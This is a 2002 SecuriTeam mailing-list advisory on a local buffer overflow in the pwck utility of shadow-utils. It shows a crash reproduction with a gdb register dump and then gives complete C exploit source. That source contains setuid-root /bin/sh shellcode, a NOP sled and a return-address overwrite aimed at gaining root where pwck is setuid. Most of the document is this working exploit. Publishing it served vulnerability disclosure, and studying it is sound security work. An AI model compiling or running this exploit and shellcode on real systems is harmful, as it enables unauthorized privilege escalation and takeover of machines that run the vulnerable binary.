[EXPL] pwck Local Buffer Overflow

From: support@securiteam.com
Date: 09/05/02


From: support@securiteam.com
To: list@securiteam.com
Date: Thu,  5 Sep 2002 16:17:23 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  pwck Local Buffer Overflow
------------------------------------------------------------------------

SUMMARY

pwck verifies the integrity of the system authentication information. All
entries in the /etc/passwd and /etc/shadow are checked to see that the
entry has the proper format and valid data in each field. The user is
prompted to delete entries that are improperly formatted or which have
other incorrect-able errors. The program has been found to contain a
vulnerability that would allow a local attacker to cause it to execute
arbitrary code, even though on the major flavors it's not setuid root, on
such flavors where pwck is setuid root elevated privileges can be
obtained.

DETAILS

Vulnerable systems:
 * shadow-utils-20000826-4

Example:
[CiLeK@karadenizeregli Taci]# /usr/sbin/pwck `perl -e '{print"A"x2391}'`
Segmentation fault (core dumped)

[CiLeK@karadenizeregli Taci]# gdb /usr/sbin/pwck core
GNU gdb 5.1.1
This GDB was configured as "i386-mandrake-linux"...
Core was generated by `/usr/sbin/pwck
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x00414141 in ?? ()
(gdb) info reg
eax 0x1 1
ecx 0x4eff4040 1325350976
edx 0x0 0
ebx 0x41414141 1094795585
esp 0xbfffe454 0xbfffe454
ebp 0x0 0x0
esi 0xbfffeec4 -1073746236
edi 0x804cd80 134532480
eip 0x414141 0x414141
eflags 0x10286 66182

Exploit code:
/* 4 Eylul 2002 / 11:56 :)
 *
 * pwck_exp.c - pwck local buffer overflow exploit
 *
 * pwck verifies the integrity of the system authentication
 * information. All entries in the /etc/passwd and
 * /etc/shadow are checked to see that the entry has the
 * proper format and valid data in each field. The user is
 * prompted to delete entries that are improperly formatted
 * or which have other incorrectable errors. ( man pwck )
 *
 * By default pwck is not setuid, if +s pwck bingo # :)
 *
 * [cilek@karadenizeregli cilek]$ ls -la /usr/sbin/pwck
 * -rwsr-sr-x 1 root root 19544 Feb 23 2002 /usr/sbin/pwck*
 *
 * Tested on Mandrake 8.2
 *
 * tacettin@olympos.org
 * tacettinkaradeniz@yahoo.com
 *
 * KDZ.EREGLI @ 2002
 *
 * Not: Shellcode cesitli yazilimlardan elde edilmistir. Tamamiyle bana
ait degildir.
 */

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>

char shellcode[] =
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void)

{
 __asm__("movl %esp, %eax");
}

int main(int argc, char **argv) {

  int bsize = 2391;
  

  unsigned long addr;
  char *buff;
  int i;

  if (bsize % 4 != 0) {

  bsize = bsize + 4 - (bsize % 4); }

  buff = (char *)malloc(bsize);
  addr = get_sp();
    system("clear");
    fprintf(stderr, "pwck exploit..... tacettin@olympos.org\n\n");
    fprintf(stderr, "Mandrake 8.2 sisteminde test edilmistir.\n", addr);
    fprintf(stderr, "Buffer: %d\n", bsize);
    

  for(i = 0; i < bsize; i++)
{
      *(long *)&buff[i] = 0x90;
}
  *(long *)&buff[bsize - 4] = addr;
memcpy(buff + bsize - strlen(shellcode) - 8,
shellcode, strlen(shellcode));

  execl("/usr/sbin/pwck", "pwck", buff, NULL);

return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:tacettinkaradeniz@yahoo.com>
Tacettin Karadeniz.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.